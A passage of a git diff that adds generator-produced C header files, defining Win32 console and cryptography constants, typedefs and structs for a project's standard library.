_ACTRL_PROPERTY_ENTRYW { + void* lpProperty; + void* pAccessEntryList; + unsigned int fListFlags; +} ACTRL_PROPERTY_ENTRYW; + +typedef struct _AUTHZ_SOURCE_SCHEMA_REGISTRATION { + unsigned int dwFlags; + void* szEventSourceName; + void* szEventMessageFile; + void* szEventSourceXmlSchemaFile; + void* szEventAccessStringsFile; + void* szExecutableImagePath; + void* Anonymous; + unsigned int dwObjectTypeNameCount; + void* ObjectTypeNames[1]; +} AUTHZ_SOURCE_SCHEMA_REGISTRATION; + +typedef struct _ACTRL_ACCESS_ENTRYW { + void* Trustee; + void* fAccessFlags; + unsigned int Access; + unsigned int ProvSpecificAccess; + void* Inheritance; + void* lpInheritProperty; +} ACTRL_ACCESS_ENTRYW; + diff --git a/stdlib/win32/console.h b/stdlib/win32/console.h new file mode 100644 index 0000000..924c6c6 --- /dev/null +++ b/stdlib/win32/console.h @@ -0,0 +1,331 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Console`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define CONSOLE_TEXTMODE_BUFFER 0x1 +#define CONSOLE_SELECTION_INVERTED 0x10 +#define VDM_HIDE_WINDOW 0x1 +#define VDM_IS_ICONIC 0x2 +#define VDM_CLIENT_RECT 0x3 +#define VDM_CLIENT_TO_SCREEN 0x4 +#define VDM_SCREEN_TO_CLIENT 0x5 +#define VDM_IS_HIDDEN 0x6 +#define VDM_FULLSCREEN_NOPAINT 0x7 +#define VDM_SET_VIDEO_MODE 0x8 +#define CONSOLE_UNREGISTER_VDM 0x0 +#define CONSOLE_REGISTER_VDM 0x1 +#define CONSOLE_REGISTER_WOW 0x2 +#define CONSOLE_NOSHORTCUTKEY 0x0 +#define CONSOLE_ALTTAB 0x1 +#define CONSOLE_ALTESC 0x2 +#define CONSOLE_ALTSPACE 0x4 +#define CONSOLE_ALTENTER 0x8 +#define CONSOLE_ALTPRTSC 0x10 +#define CONSOLE_PRTSC 0x20 +#define CONSOLE_CTRLESC 0x40 +#define CONSOLE_MODIFIER_SHIFT 0x3 +#define CONSOLE_MODIFIER_CONTROL 0x4 +#define CONSOLE_MODIFIER_ALT 0x8 +#define CHAR_TYPE_SBCS 0x0 +#define CHAR_TYPE_LEADING 0x2 +#define CHAR_TYPE_TRAILING 0x3 +#define CONSOLE_HANDLE_SIGNATURE 0x3 +#define CONSOLE_HANDLE_NEVERSET 0x10000000 +// SKIPPED const CONSOLE_INPUT_STRING: non-integer constant +// SKIPPED const CONSOLE_OUTPUT_STRING: non-integer constant +// SKIPPED const CONSOLE_GENERIC: non-integer constant +#define PID_CONSOLE_FORCEV2 0x1 +#define PID_CONSOLE_WRAPTEXT 0x2 +#define PID_CONSOLE_FILTERONPASTE 0x3 +#define PID_CONSOLE_CTRLKEYSDISABLED 0x4 +#define PID_CONSOLE_LINESELECTION 0x5 +#define PID_CONSOLE_WINDOWTRANSPARENCY 0x6 +#define PID_CONSOLE_WINDOWMAXIMIZED 0x7 +#define PID_CONSOLE_CURSOR_TYPE 0x8 +#define PID_CONSOLE_CURSOR_COLOR 0x9 +#define PID_CONSOLE_INTERCEPT_COPY_PASTE 0xa +#define PID_CONSOLE_DEFAULTFOREGROUND 0xb +#define PID_CONSOLE_DEFAULTBACKGROUND 0xc +#define PID_CONSOLE_TERMINALSCROLLING 0xd +#define ATTACH_PARENT_PROCESS 0xffffffff +#define CTRL_C_EVENT 0x0 +#define CTRL_BREAK_EVENT 0x1 +#define CTRL_CLOSE_EVENT 0x2 +#define CTRL_LOGOFF_EVENT 0x5 +#define CTRL_SHUTDOWN_EVENT 0x6 +#define PSEUDOCONSOLE_INHERIT_CURSOR 0x1 +#define CONSOLE_NO_SELECTION 0x0 +#define CONSOLE_SELECTION_IN_PROGRESS 0x1 +#define CONSOLE_SELECTION_NOT_EMPTY 0x2 +#define CONSOLE_MOUSE_SELECTION 0x4 +#define CONSOLE_MOUSE_DOWN 0x8 +#define HISTORY_NO_DUP_FLAG 0x1 +#define CONSOLE_FULLSCREEN 0x1 +#define CONSOLE_FULLSCREEN_HARDWARE 0x2 +#define CONSOLE_FULLSCREEN_MODE 0x1 +#define CONSOLE_WINDOWED_MODE 0x2 +#define RIGHT_ALT_PRESSED 0x1 +#define LEFT_ALT_PRESSED 0x2 +#define RIGHT_CTRL_PRESSED 0x4 +#define LEFT_CTRL_PRESSED 0x8 +#define SHIFT_PRESSED 0x10 +#define NUMLOCK_ON 0x20 +#define SCROLLLOCK_ON 0x40 +#define CAPSLOCK_ON 0x80 +#define ENHANCED_KEY 0x100 +#define NLS_DBCSCHAR 0x10000 +#define NLS_ALPHANUMERIC 0x0 +#define NLS_KATAKANA 0x20000 +#define NLS_HIRAGANA 0x40000 +#define NLS_ROMAN 0x400000 +#define NLS_IME_CONVERSION 0x800000 +#define ALTNUMPAD_BIT 0x4000000 +#define NLS_IME_DISABLE 0x20000000 +#define FROM_LEFT_1ST_BUTTON_PRESSED 0x1 +#define RIGHTMOST_BUTTON_PRESSED 0x2 +#define FROM_LEFT_2ND_BUTTON_PRESSED 0x4 +#define FROM_LEFT_3RD_BUTTON_PRESSED 0x8 +#define FROM_LEFT_4TH_BUTTON_PRESSED 0x10 +#define MOUSE_MOVED 0x1 +#define DOUBLE_CLICK 0x2 +#define MOUSE_WHEELED 0x4 +#define MOUSE_HWHEELED 0x8 +#define KEY_EVENT 0x1 +#define MOUSE_EVENT 0x2 +#define WINDOW_BUFFER_SIZE_EVENT 0x4 +#define MENU_EVENT 0x8 +#define FOCUS_EVENT 0x10 +#define ALLOC_CONSOLE_RESULT_NO_CONSOLE 0 +#define ALLOC_CONSOLE_RESULT_NEW_CONSOLE 1 +#define ALLOC_CONSOLE_RESULT_EXISTING_CONSOLE 2 +#define ENABLE_PROCESSED_INPUT 0x1 +#define ENABLE_LINE_INPUT 0x2 +#define ENABLE_ECHO_INPUT 0x4 +#define ENABLE_WINDOW_INPUT 0x8 +#define ENABLE_MOUSE_INPUT 0x10 +#define ENABLE_INSERT_MODE 0x20 +#define ENABLE_QUICK_EDIT_MODE 0x40 +#define ENABLE_EXTENDED_FLAGS 0x80 +#define ENABLE_AUTO_POSITION 0x100 +#define ENABLE_VIRTUAL_TERMINAL_INPUT 0x200 +#define ENABLE_PROCESSED_OUTPUT 0x1 +#define ENABLE_WRAP_AT_EOL_OUTPUT 0x2 +#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x4 +#define DISABLE_NEWLINE_AUTO_RETURN 0x8 +#define ENABLE_LVB_GRID_WORLDWIDE 0x10 +#define FOREGROUND_BLUE 0x1 +#define FOREGROUND_GREEN 0x2 +#define FOREGROUND_RED 0x4 +#define FOREGROUND_INTENSITY 0x8 +#define BACKGROUND_BLUE 0x10 +#define BACKGROUND_GREEN 0x20 +#define BACKGROUND_RED 0x40 +#define BACKGROUND_INTENSITY 0x80 +#define COMMON_LVB_LEADING_BYTE 0x100 +#define COMMON_LVB_TRAILING_BYTE 0x200 +#define COMMON_LVB_GRID_HORIZONTAL 0x400 +#define COMMON_LVB_GRID_LVERTICAL 0x800 +#define COMMON_LVB_GRID_RVERTICAL 0x1000 +#define COMMON_LVB_REVERSE_VIDEO 0x4000 +#define COMMON_LVB_UNDERSCORE 0x8000 +#define COMMON_LVB_SBCSDBCS 0x300 +#define STD_INPUT_HANDLE 0xfffffff6 +#define STD_OUTPUT_HANDLE 0xfffffff5 +#define STD_ERROR_HANDLE 0xfffffff4 +#define Reserved1 0 +#define ConsoleNotifyConsoleApplication 1 +#define Reserved2 2 +#define ConsoleSetCaretInfo 3 +#define Reserved3 4 +#define ConsoleSetForeground 5 +#define ConsoleSetWindowOwner 6 +#define ConsoleEndTask 7 +#define ALLOC_CONSOLE_MODE_DEFAULT 0 +#define ALLOC_CONSOLE_MODE_NEW_WINDOW 1 +#define ALLOC_CONSOLE_MODE_NO_WINDOW 2 + +typedef struct _ALLOC_CONSOLE_OPTIONS { + void* mode; + BOOL useShowWindow; + unsigned short showWindow; +} ALLOC_CONSOLE_OPTIONS; + +typedef struct _CONSOLE_HISTORY_INFO { + unsigned int cbSize; + unsigned int HistoryBufferSize; + unsigned int NumberOfHistoryBuffers; + unsigned int dwFlags; +} CONSOLE_HISTORY_INFO; + +typedef struct _CONSOLE_CARET_INFO { + void* hwnd; + void* rc; +} CONSOLE_CARET_INFO; + +typedef struct _HPCON { + long long Value; +} HPCON; + +typedef struct _KEY_EVENT_RECORD { + BOOL bKeyDown; + unsigned short wRepeatCount; + unsigned short wVirtualKeyCode; + unsigned short wVirtualScanCode; + void* uChar; + unsigned int dwControlKeyState; +} KEY_EVENT_RECORD; + +typedef struct _CONSOLE_SCREEN_BUFFER_INFO { + void* dwSize; + void* dwCursorPosition; + void* wAttributes; + void* srWindow; + void* dwMaximumWindowSize; +} CONSOLE_SCREEN_BUFFER_INFO; + +typedef struct _CONSOLE_SCREEN_BUFFER_INFOEX { + unsigned int cbSize; + void* dwSize; + void* dwCursorPosition; + void* wAttributes; + void* srWindow; + void* dwMaximumWindowSize; + unsigned short wPopupAttributes; + BOOL bFullscreenSupported; + void* ColorTable[16]; +} CONSOLE_SCREEN_BUFFER_INFOEX; + +typedef struct _INPUT_RECORD { + unsigned short EventType; + void* Event; +} INPUT_RECORD; + +typedef struct _ExtKeySubst { + unsigned short wMod; + unsigned short wVirKey; + unsigned short wUnicodeChar; +} ExtKeySubst; + +typedef struct _CONSOLEWINDOWOWNER { + void* hwnd; + unsigned int ProcessId; + unsigned int ThreadId; +} CONSOLEWINDOWOWNER; + +typedef struct _SMALL_RECT { + short Left; + short Top; + short Right; + short Bottom; +} SMALL_RECT; + +typedef struct _MENU_EVENT_RECORD { + unsigned int dwCommandId; +} MENU_EVENT_RECORD; + +typedef struct _CONSOLE_FONT_INFO { + unsigned int nFont; + void* dwFontSize; +} CONSOLE_FONT_INFO; + +typedef struct _CONSOLE_READCONSOLE_CONTROL { + unsigned int nLength; + unsigned int nInitialChars; + unsigned int dwCtrlWakeupMask; + unsigned int dwControlKeyState; +} CONSOLE_READCONSOLE_CONTROL; + +typedef struct _CONSOLE_CURSOR_INFO { + unsigned int dwSize; + BOOL bVisible; +} CONSOLE_CURSOR_INFO; + +typedef struct _CONSOLE_SELECTION_INFO { + unsigned int dwFlags; + void* dwSelectionAnchor; + void* srSelection; +} CONSOLE_SELECTION_INFO; + +typedef struct _CONSOLESETFOREGROUND { + void* hProcess; + BOOL bForeground; +} CONSOLESETFOREGROUND; + +typedef struct _CONSOLE_FONT_INFOEX { + unsigned int cbSize; + unsigned int nFont; + void* dwFontSize; + unsigned int FontFamily; + unsigned int FontWeight; + unsigned short FaceName[32]; +} CONSOLE_FONT_INFOEX; + +typedef struct _APPKEY { + unsigned short Modifier; + unsigned short ScanCode; +} APPKEY; + +typedef struct _CONSOLEENDTASK { + void* ProcessId; + void* hwnd; + unsigned int ConsoleEventCode; + unsigned int ConsoleFlags; +} CONSOLEENDTASK; + +typedef struct _ExtKeyDef { + void* keys[3]; +} ExtKeyDef; + +typedef struct _MOUSE_EVENT_RECORD { + void* dwMousePosition; + unsigned int dwButtonState; + unsigned int dwControlKeyState; + unsigned int dwEventFlags; +} MOUSE_EVENT_RECORD; + +typedef struct _CHAR_INFO { + void* Char; + unsigned short Attributes; +} CHAR_INFO; + +typedef struct _CONSOLE_GRAPHICS_BUFFER_INFO { + unsigned int dwBitMapInfoLength; + void* lpBitMapInfo; + unsigned int dwUsage; + void* hMutex; + void* lpBitMap; +} CONSOLE_GRAPHICS_BUFFER_INFO; + +typedef struct _FOCUS_EVENT_RECORD { + BOOL bSetFocus; +} FOCUS_EVENT_RECORD; + +typedef struct _WINDOW_BUFFER_SIZE_RECORD { + void* dwSize; +} WINDOW_BUFFER_SIZE_RECORD; + +typedef struct _CONSOLE_PROCESS_INFO { + unsigned int dwProcessID; + unsigned int dwFlags; +} CONSOLE_PROCESS_INFO; + +typedef struct _COORD { + short X; + short Y; +} COORD; + +typedef struct _ExtKeyDefBuf { + unsigned int dwVersion; + unsigned int dwCheckSum; + void* table[26]; +} ExtKeyDefBuf; + diff --git a/stdlib/win32/cryptography.h b/stdlib/win32/cryptography.h new file mode 100644 index 0000000..b2b1128 --- /dev/null +++ b/stdlib/win32/cryptography.h @@ -0,0 +1,7399 @@ +// Generated by entc-win32gen from `Windows.Win32.Security.Cryptography`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define CERT_SYSTEM_STORE_CURRENT_USER 0x10000 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE 0x20000 +#define CERT_COMPARE_SHIFT 16 +#define BCRYPT_OBJECT_ALIGNMENT 0x10 +// SKIPPED const BCRYPT_KDF_HASH: non-integer constant +// SKIPPED const BCRYPT_KDF_HMAC: non-integer constant +// SKIPPED const BCRYPT_KDF_TLS_PRF: non-integer constant +// SKIPPED const BCRYPT_KDF_SP80056A_CONCAT: non-integer constant +// SKIPPED const BCRYPT_KDF_RAW_SECRET: non-integer constant +// SKIPPED const BCRYPT_KDF_HKDF: non-integer constant +#define KDF_HASH_ALGORITHM 0x0 +#define KDF_SECRET_PREPEND 0x1 +#define KDF_SECRET_APPEND 0x2 +#define KDF_HMAC_KEY 0x3 +#define KDF_TLS_PRF_LABEL 0x4 +#define KDF_TLS_PRF_SEED 0x5 +#define KDF_SECRET_HANDLE 0x6 +#define KDF_TLS_PRF_PROTOCOL 0x7 +#define KDF_ALGORITHMID 0x8 +#define KDF_PARTYUINFO 0x9 +#define KDF_PARTYVINFO 0xa +#define KDF_SUPPPUBINFO 0xb +#define KDF_SUPPPRIVINFO 0xc +#define KDF_LABEL 0xd +#define KDF_CONTEXT 0xe +#define KDF_SALT 0xf +#define KDF_ITERATION_COUNT 0x10 +#define KDF_GENERIC_PARAMETER 0x11 +#define KDF_KEYBITLENGTH 0x12 +#define KDF_HKDF_SALT 0x13 +#define KDF_HKDF_INFO 0x14 +#define KDF_USE_SECRET_AS_HMAC_KEY_FLAG 0x1 +#define BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO_VERSION 0x1 +#define BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG 0x1 +#define BCRYPT_AUTH_MODE_IN_PROGRESS_FLAG 0x2 +// SKIPPED const BCRYPT_OPAQUE_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_KEY_DATA_BLOB: non-integer constant +// SKIPPED const BCRYPT_AES_WRAP_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_PKCS11_RSA_AES_WRAP_KEY_BLOB: non-integer constant +#define BCRYPT_PKCS11_RSA_AES_WRAP_BLOB_MAGIC 0x57504152 +// SKIPPED const BCRYPT_OBJECT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_ALGORITHM_NAME: non-integer constant +// SKIPPED const BCRYPT_PROVIDER_HANDLE: non-integer constant +// SKIPPED const BCRYPT_CHAINING_MODE: non-integer constant +// SKIPPED const BCRYPT_BLOCK_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_OBJECT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_STRENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_LENGTHS: non-integer constant +// SKIPPED const BCRYPT_BLOCK_SIZE_LIST: non-integer constant +// SKIPPED const BCRYPT_EFFECTIVE_KEY_LENGTH: non-integer constant +// SKIPPED const BCRYPT_HASH_LENGTH: non-integer constant +// SKIPPED const BCRYPT_HASH_OID_LIST: non-integer constant +// SKIPPED const BCRYPT_PADDING_SCHEMES: non-integer constant +// SKIPPED const BCRYPT_SIGNATURE_LENGTH: non-integer constant +// SKIPPED const BCRYPT_HASH_BLOCK_LENGTH: non-integer constant +// SKIPPED const BCRYPT_AUTH_TAG_LENGTH: non-integer constant +// SKIPPED const BCRYPT_FUNCTION_NAME_STRING: non-integer constant +// SKIPPED const BCRYPT_CUSTOMIZATION_STRING: non-integer constant +// SKIPPED const BCRYPT_PRIMITIVE_TYPE: non-integer constant +// SKIPPED const BCRYPT_IS_KEYED_HASH: non-integer constant +// SKIPPED const BCRYPT_IS_REUSABLE_HASH: non-integer constant +// SKIPPED const BCRYPT_MESSAGE_BLOCK_LENGTH: non-integer constant +// SKIPPED const BCRYPT_PUBLIC_KEY_LENGTH: non-integer constant +// SKIPPED const BCRYPT_PCP_PLATFORM_TYPE_PROPERTY: non-integer constant +// SKIPPED const BCRYPT_PCP_PROVIDER_VERSION_PROPERTY: non-integer constant +// SKIPPED const BCRYPT_MULTI_OBJECT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_IS_IFX_TPM_WEAK_KEY: non-integer constant +// SKIPPED const BCRYPT_HKDF_HASH_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_HKDF_SALT_AND_FINALIZE: non-integer constant +// SKIPPED const BCRYPT_HKDF_PRK_AND_FINALIZE: non-integer constant +// SKIPPED const BCRYPT_KEM_SHARED_SECRET_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEM_CIPHERTEXT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_PARAMETER_SET_NAME: non-integer constant +// SKIPPED const BCRYPT_INITIALIZATION_VECTOR: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_NA: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_CBC: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_ECB: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_CFB: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_CCM: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_GCM: non-integer constant +#define BCRYPT_SUPPORTED_PAD_ROUTER 0x1 +#define BCRYPT_SUPPORTED_PAD_PKCS1_ENC 0x2 +#define BCRYPT_SUPPORTED_PAD_PKCS1_SIG 0x4 +#define BCRYPT_SUPPORTED_PAD_OAEP 0x8 +#define BCRYPT_SUPPORTED_PAD_PSS 0x10 +#define BCRYPT_GENERATE_IV 0x20 +#define BCRYPT_PAD_PKCS1_OPTIONAL_HASH_OID 0x10 +#define BCRYPT_PAD_PQDSA 0x20 +#define BCRYPT_MLDSA_EXTERNAL_MU 0x40 +#define BCRYPTBUFFER_VERSION 0x0 +// SKIPPED const BCRYPT_PUBLIC_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_PRIVATE_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_RSAPUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_RSAPRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_RSAPUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_RSAPRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_RSAFULLPRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_GLOBAL_PARAMETERS: non-integer constant +// SKIPPED const BCRYPT_PRIVATE_KEY: non-integer constant +// SKIPPED const BCRYPT_ECCPUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_ECCPRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_ECCFULLPUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_ECCFULLPRIVATE_BLOB: non-integer constant +// SKIPPED const SSL_ECCPUBLIC_BLOB: non-integer constant +// SKIPPED const TLS_13_PRE_SHARED_KEY: non-integer constant +#define BCRYPT_ECDH_PUBLIC_P256_MAGIC 0x314b4345 +#define BCRYPT_ECDH_PRIVATE_P256_MAGIC 0x324b4345 +#define BCRYPT_ECDH_PUBLIC_P384_MAGIC 0x334b4345 +#define BCRYPT_ECDH_PRIVATE_P384_MAGIC 0x344b4345 +#define BCRYPT_ECDH_PUBLIC_P521_MAGIC 0x354b4345 +#define BCRYPT_ECDH_PRIVATE_P521_MAGIC 0x364b4345 +#define BCRYPT_ECDH_PUBLIC_GENERIC_MAGIC 0x504b4345 +#define BCRYPT_ECDH_PRIVATE_GENERIC_MAGIC 0x564b4345 +#define BCRYPT_ECDSA_PUBLIC_P256_MAGIC 0x31534345 +#define BCRYPT_ECDSA_PRIVATE_P256_MAGIC 0x32534345 +#define BCRYPT_ECDSA_PUBLIC_P384_MAGIC 0x33534345 +#define BCRYPT_ECDSA_PRIVATE_P384_MAGIC 0x34534345 +#define BCRYPT_ECDSA_PUBLIC_P521_MAGIC 0x35534345 +#define BCRYPT_ECDSA_PRIVATE_P521_MAGIC 0x36534345 +#define BCRYPT_ECDSA_PUBLIC_GENERIC_MAGIC 0x50444345 +#define BCRYPT_ECDSA_PRIVATE_GENERIC_MAGIC 0x56444345 +#define BCRYPT_ECC_FULLKEY_BLOB_V1 0x1 +// SKIPPED const BCRYPT_DH_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_DH_PRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_DH_PUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_DH_PRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_DH_PARAMETERS: non-integer constant +#define BCRYPT_DH_PARAMETERS_MAGIC 0x4d504844 +// SKIPPED const BCRYPT_DSA_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_DSA_PRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_PUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_PRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_V2_PUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_V2_PRIVATE_BLOB: non-integer constant +#define BCRYPT_DSA_PUBLIC_MAGIC_V2 0x32425044 +#define BCRYPT_DSA_PRIVATE_MAGIC_V2 0x32565044 +#define BCRYPT_KEY_DATA_BLOB_MAGIC 0x4d42444b +#define BCRYPT_KEY_DATA_BLOB_VERSION1 0x1 +#define BCRYPT_MLDSA_PUBLIC_MAGIC 0x4b505344 +#define BCRYPT_MLDSA_PRIVATE_MAGIC 0x4b535344 +#define BCRYPT_MLDSA_PRIVATE_SEED_MAGIC 0x53535344 +#define BCRYPT_SLHDSA_PUBLIC_MAGIC 0x4b504853 +#define BCRYPT_SLHDSA_PRIVATE_MAGIC 0x4b534853 +#define BCRYPT_LMS_PUBLIC_MAGIC 0x4b504d4c +#define BCRYPT_XMSS_PUBLIC_MAGIC 0x4b504d58 +// SKIPPED const BCRYPT_PQDSA_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_PQDSA_PRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_PQDSA_PRIVATE_SEED_BLOB: non-integer constant +#define BCRYPT_MLKEM_PUBLIC_MAGIC 0x504b4c4d +#define BCRYPT_MLKEM_PRIVATE_MAGIC 0x524b4c4d +#define BCRYPT_MLKEM_PRIVATE_SEED_MAGIC 0x534b4c4d +// SKIPPED const BCRYPT_MLKEM_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PRIVATE_SEED_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_ENCAPSULATION_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_DECAPSULATION_BLOB: non-integer constant +// SKIPPED const BCRYPT_DSA_PARAMETERS: non-integer constant +#define BCRYPT_DSA_PARAMETERS_MAGIC 0x4d505344 +#define BCRYPT_DSA_PARAMETERS_MAGIC_V2 0x324d5044 +// SKIPPED const BCRYPT_ECC_PARAMETERS: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NAME: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NAME_LIST: non-integer constant +#define BCRYPT_ECC_PARAMETERS_MAGIC 0x50434345 +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP160R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP160T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP192R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP192T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP224R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP224T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP256R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP256T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP320R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP320T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP384R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP384T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP512R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP512T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_25519: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_EC192WAPI: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP192: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP224: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP256: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP384: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP521: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NUMSP256T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NUMSP384T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NUMSP512T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP160K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP160R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP160R2: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP192K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP192R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP224K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP224R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP256K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP256R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP384R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP521R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_WTLS7: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_WTLS9: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_WTLS12: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P192V1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P192V2: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P192V3: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P239V1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P239V2: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P239V3: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P256V1: non-integer constant +// SKIPPED const BCRYPT_MLDSA_PARAMETER_SET_44: non-integer constant +// SKIPPED const BCRYPT_MLDSA_PARAMETER_SET_65: non-integer constant +// SKIPPED const BCRYPT_MLDSA_PARAMETER_SET_87: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_128S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_128S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_128F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_128F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_192S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_192S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_192F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_192F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_256S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_256S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_256F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_256F: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PARAMETER_SET_512: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PARAMETER_SET_768: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PARAMETER_SET_1024: non-integer constant +// SKIPPED const MS_PRIMITIVE_PROVIDER: non-integer constant +// SKIPPED const MS_PLATFORM_CRYPTO_PROVIDER: non-integer constant +// SKIPPED const BCRYPT_RSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RSA_SIGN_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DH_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DSA_ALGORITHM: non-integer constant +// 